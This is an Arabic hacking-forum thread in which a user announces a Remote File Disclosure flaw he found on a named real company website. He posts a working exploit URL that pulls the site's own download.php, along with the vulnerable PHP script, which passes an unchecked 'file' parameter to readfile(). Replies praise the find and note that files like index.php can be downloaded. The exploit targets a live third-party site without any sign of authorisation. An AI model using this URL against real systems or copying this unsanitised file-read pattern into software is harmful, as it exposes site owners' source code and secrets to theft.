{10} >Remote File Disclosure تطبيق <{10}

[ZrIqE ViRuS]

السلام عليكم

اليوم كنت بلف شويه بالمواقع فلقيت هالثغره

http://tuffdocksystems.com/download.php?file=download.php

طبعا هاد تطبيق ع الثغره والي يشوفها يقرا الكود البرمجي الي مطبق للثغره

للمزيد حول الثغره تم شرحه بالدوره من هنا


http://www.vbspiders.com/vb/t32090.html

اتمنا تكون هاي الثغره وضحت الان اكثر
وهذا كود الثغره

<?
$file = $_GET['file'];
header ("Content-type: octet/stream");
header ("Content-disposition: attachment; filename=".$file.";");
header("Content-Length: ".filesize($file));
readfile($file);
exit;
?>

موفقين :surrender:

 

[bleu moon]

يعطيك الخير حبيبي فولكانو والله ..~
الكود البرمجي بسيط وتقدر انك تحمل الملفات زي index.php ..~
الخ ..
ماشفت اي واحد زيك ! اكتشفتها وبعد 4 دقايق وضعتها في المنتدى ..~
يعطيك الخير كثير كثير كثير !!!

 

[k4$p3r-MA]

مشكورر اخي ما شاء الله عليك ثغرة جميلة

 

[Antivirus7]

وعليــكم السلآم و رحمة الله
الله عليــك يآعبدوآ مبدع من يوم عرفتك
لآ تحرمنآ من موآضيعك